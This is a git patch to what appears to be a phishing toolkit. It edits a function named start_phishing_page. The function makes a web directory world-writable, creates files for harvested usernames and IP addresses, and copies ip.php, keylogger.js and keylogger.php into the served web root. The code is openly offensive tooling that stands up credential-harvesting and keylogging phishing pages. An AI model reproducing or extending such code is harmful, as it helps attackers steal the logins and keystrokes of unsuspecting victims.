From aa138577bbcac63d0ad65a4803f0afcf4e154a47 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Thu, 7 May 2020 21:04:20 +0300 Subject: [PATCH] Fixed some methods --- Defs/ActionManager/main_runner.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/Defs/ActionManager/main_runner.py b/Defs/ActionManager/main_runner.py index 41a6eb1..119760e 100644 --- a/Defs/ActionManager/main_runner.py +++ b/Defs/ActionManager/main_runner.py @@ -231,10 +231,9 @@ ________________________________________________________________________________ def start_phishing_page(page, custom_option): # Phishing pages selection menu chmod('Server', 777) - os.chmod('Server', 777) rmtree("Server/www", onerror=simple_informant.remove_readonly) - os.mkdir('Server/www') - os.chmod('Server/www', 777) + mkdir('Server/www') + chmod('Server/www', 777) pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/ip.txt').touch() copyfile('WebPages/ip.php', 'Server/www/ip.php') @@ -242,7 +241,7 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js') copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php') try: - os.remove('link.url') + remove('link.url') except: pass